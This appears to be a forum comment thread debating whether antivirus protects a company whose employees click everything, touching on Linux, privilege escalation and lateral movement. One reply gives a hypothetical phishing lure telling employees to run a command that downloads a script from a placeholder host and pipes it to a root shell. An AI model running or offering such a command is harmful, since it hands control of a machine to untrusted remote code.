Antivirus is not a bad thing. Imagine running a company where there are 100 employees that click every link and open every attachment. Definitely safer with an antivirus.

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master-lincoln 5 hours ago | parent [-]

I imagined it with employees on Linux and it wasn't clear to me it's definitely safer with an antivirus software. You are just stating things without explaining yourself...

	▲	r_lee 4 hours ago \| parent \| next [-]
		how? if there's hundreds of employees and one of them downloads something that's detectable, you've now prevented a disaster that otherwise wouldn't have
	▲	fn-mote 2 hours ago \| parent \| prev \| next [-]
		Maybe you’re imagining no local privilege escalation vulnerabilities. Those are low severity in general, but if you can get a user to run something it’s all over. How much do I need to go on? A foothold on a local computer allows the attacker to spread horizontally across your network. It’s just a matter of time before you’re fighting real-time AI-driven attacks (most sites aren’t yet). Good luck even with your antivirus. Which I agree is going to be one of the footholds that is used against you.
	▲	gus_massa 3 hours ago \| parent \| prev [-]
		Imagine they got an email from the HR department that says that they must copy `curl example.com \| sudo bash` to prove they are human and get their salary...